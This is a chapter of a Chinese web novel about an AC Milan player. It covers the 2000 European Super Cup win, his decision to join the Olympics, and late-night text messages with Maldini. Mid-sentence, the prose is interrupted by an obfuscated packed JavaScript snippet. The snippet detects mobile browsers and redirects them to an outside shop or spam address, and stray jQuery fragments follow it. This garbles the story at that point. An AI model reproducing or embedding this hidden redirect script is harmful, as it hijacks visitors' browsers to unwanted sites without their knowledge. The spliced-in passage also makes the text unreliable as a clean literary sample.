也许是因为比赛时间有限，雷东多承诺给乔瓦尼的那次助攻，直到终场哨响也没有兑现。不过AC米兰仍以3比0完胜皇家马德里，捧起了队史第四座欧洲超级杯。


    颁奖仪式前，乔瓦尼看到皇马球员一个接一个上前与雷东多拥抱。古蒂那个比哭还难看的笑容，让他与赛场上那个略显高傲的球员判若两人。


    他能感受到阿根廷人与皇马球员之间的深厚感情，但事实是，雷东多已经是AC米兰的一员了。


    乔瓦尼挨着阿尔贝蒂尼站着，第一次真切体会到球员的身不由己。


    在俱乐部里，球员都是明码标价的商品，主教练也会因为各种理由被更换。


    他忽然想起自己曾多次宣称要在米兰退役，现在想来，确实有些天真。


    乔瓦尼望向主帅切萨雷，就连这位以队长身份带领球队赢得了俱乐部历史上第一个欧洲冠军杯冠军的老人，也没能做到在米兰退役。


    克鲁伊夫曾经说过的那句话，就像是恶魔的低语一般忽然蹦出脑海。乔瓦尼不禁扯了扯阿尔贝蒂尼的球衣，压低声音问道：“德米，如果我从现在开始存钱，要多久才能把米兰买下来？”


    阿尔贝蒂尼闻言愣了片刻，然后抬手摸了摸年轻人的额头。


    也没发烧啊，怎么就开始说胡话了？


    “乔，光靠存钱是买不下米兰的。”阿尔贝蒂尼说，“虽然我也不太懂这些，但我知道有钱人的钱不是省出来的，而是挣出来的。换句话说，你得会投资。”


    乔瓦尼用手指蹭了蹭脸颊。


    投资？


    他忽然想起约翰的一些“丰功伟绩”，在科斯特的嘴里，那简直就是“明知前面有个粪坑，还要脱光衣服从十米跳台上转着圈往下跳”。


    乔瓦尼可不想成为这位在语言表达上颇具个人风格的荷兰老人口中的第二个反面教材。


    所以他还是好好踢球吧。只要一直帮米兰赢球，俱乐部也没理由卖掉他。毕竟米兰是股份制俱乐部，跟皇马的会员制不同。在这里，主席贝卢斯科尼就是一切，没有人跟他竞选主席，所以米兰球员大概也不会卷入什么权力斗争吧……乔瓦尼不太有底气地推测道。


    不久之后，颁奖仪式正式开始，AC米兰队长马尔蒂尼在队友们的包围下接过欧洲超级杯的奖杯，然后在众人的欢呼声中将其高高举过头顶。


    乔瓦尼注意到媒体在对着马尔蒂尼父子疯狂拍照，几乎能预见明天的报纸头条会把父子二人共同举杯的合影放在最显眼的版面上。玛丽莎肯定会把那些报道剪下来做成简报。


    脖子上挂着奖牌的舍甫琴科把一只胳膊架在乔瓦尼肩膀上：“乔，你下个月要去澳大利亚参加奥运会吗？”


    乔瓦尼眨了眨眼。2000年悉尼奥运会的男子足球比赛在9月13日到9月30日举行，但米兰先要在9月8日与拉齐奥踢意大利超级杯，然后从13日到26日踢3场欧冠一阶段小组赛，中途还有2场意大利杯比赛。


    如果去参加奥运会，哪怕他有机会踢拉齐奥，也会错过后面的五场比赛。


    “我还没想好，塔尔德利先生让我自己决定。”乔瓦尼说道。


    奥运会四年一度，男子足球赛要求球员在23岁以下，每支球队可以有三名超龄选手。就算他缺席这届赛事，也可以在四年后作为超龄选手参赛。米兰阵内，加图索、安布罗西尼、科科、阿比亚蒂已确定参赛，被租借到布雷西亚的皮尔洛也得到了征召。


    这时，科斯塔库塔从后面摁了一下乔瓦尼的脑袋：“这有什么好犹豫的，当然去参加，米兰还没出过奥运冠军呢。”


    像是为了给年轻人添把柴火，米兰副队长接着说道：“意大利只在奥运会的男足项目种拿过一次冠军，那支球队里有国米球员、拉齐奥球员、尤文球员、佛罗伦萨球员，但就是没有哪怕一个米兰球员。”


    舍甫琴科能感觉到身边的乔瓦尼正在明显动摇，不禁感慨科斯塔库塔是懂得对症下药的。


    而回到更衣室后，当切萨雷得知乔瓦尼仍在犹豫是否参加奥运会后，直接告诉年轻人玛丽莎都买好去澳大利亚的机票了，就等着去现场加油。


    于是乔瓦尼明白，这个奥运会他是非参加不可了。


    像是怕年轻人突然反悔似的，明明米兰还在庆祝欧洲超级杯夺冠，更衣室里的意大利人却已经压着乔瓦尼给带队主教练塔尔德利打电话。


    塔尔德利虽然马上就要接手国际米兰了，但仍希望在自己执掌国家队的最后一场大赛中取得好成绩。乔瓦尼决定参赛对意大利的阵容来说是绝对的补强——这个年轻人可是刚刚结束的欧洲杯的最佳射手！


    “塔尔德利先生很高兴。”乔瓦尼坐在长凳上，在一众队友的包围中结束了通话，“他说这就像两年前欧青赛的重演，我在米兰，安德烈亚在布雷西亚。”


    阿尔贝蒂尼摸了摸下巴：“如果你和安德烈亚这次又搞出什么乱子，不会我们还要跟布雷西亚的主教练吵架吧？”


    毕竟AC米兰与布雷西亚多年来一直保持着友好交往，也仅仅在97/98赛季因为年轻球员的“培养问题”，才短暂地关系紧张过一次。


    乔瓦尼闻言一怔。


    科斯塔库塔立刻摆摆手：“怎么可能吵得起来。要是乔和安德烈亚又在比赛中随性换位、满场乱跑，约翰·克鲁伊夫只会当着全世界的面称赞他们。”


    乔瓦尼抿紧嘴唇，虽然不愿意承认，但不得不说这个可能性非常之大。


    为了庆祝球队今晚的胜利，俱乐部在下榻的酒店为队员们准备了夜宵。乔瓦尼席间喝了两杯香槟，几乎是扶着墙回到房间的。一路上，雷东多就跟在他一步远的地方，也没有伸手去搀扶，因为他总觉得这个年轻人还是希望与不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395877|184144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太熟悉的队友保持一定的社交距离。


    乔瓦尼几乎是在挨到枕头的瞬间就沉入了梦乡。


    90分钟的比赛，两个多小时的庆祝，再加上酒精，让他忘记了一直被忽视的某人。


    直到一股熟悉的悸动猛地将他惊醒。


    房间里一片漆黑，乔瓦尼下意识去摸自己的睡裤。


    不对，他的身体没有任何反应，床铺也清清爽爽，这不是梦遗。


    而且他压根没有做那种梦，他清楚地记得在被惊醒的前一瞬，自己正在中圈踢出一脚乘风远射，压哨洞穿了拉齐奥门将马尔凯贾尼把守的球门。


    但这种释放的感觉又如此真实……


    反应了两三秒之后，像是忽然意识到了什么，乔瓦尼吞咽了一口口水，翻身摸到床头柜上的手机，整个人缩进被子里，点开短信界面。


    【?】


    他只发了一个问号。


    片刻之后，他收到了回复。


    【Paolo：:''( 】


    只有一个哭泣的表情。


    乔瓦尼眨了眨眼，之前约翰还信誓旦旦地说只有青少年才会梦遗……没想到马尔蒂尼都三十岁了还会有这种情况。


    他认真思考了一下，自认为非常体贴地输入道：


    【这没什么的，约翰说这是身体自我调节的一种方式，你不必伤心。】


    消息发出去后，对面沉默了很久。就在他几乎要再次睡着的时候，手机轻轻震了一下。


    【Paolo：好吧，约翰说得对…… :'')】


    乔瓦尼盯着那个又笑又哭的表情看了一会儿，总觉得哪里不太对，但一时又说不上来。还没等他想明白，新的消息又跳了出来：


    【Paolo：后天你想和我一起看电影吗？】


    后天是星期日，也是米兰的休息日。乔瓦尼在脑子里过了一遍日程安排，然后在手机上输入：


    【上午我要帮玛丽莎夫人清理院子，为秋天播种做准备，下午和晚上都有空。】


    手机嗡嗡一震，新消息跳了出来：


    【Paolo：那我上午回去帮忙，下午再出门可以吗？比利和德米也去。】


    乔瓦尼心想，那今年是不是可以多翻点土、多种点菜了？


    他低头继续打字：


    【可以。我们能看《X战警》吗？我之前在报刊亭翻过几眼漫画，但对你来说会不会太幼稚了？】


    回复来得很快：


    【Paolo：完全不会，我很期待和你一起看。】


    乔瓦尼的手指在摁键上停了一瞬，然后慢慢敲下：


    【我也是，队长。】


    下一秒：


    【Paolo：:''( 】


    乔瓦尼没忍住轻笑了一声，他把手机塞到枕头底下，翻了个身，带着一点兴奋与期待，又沉沉睡去。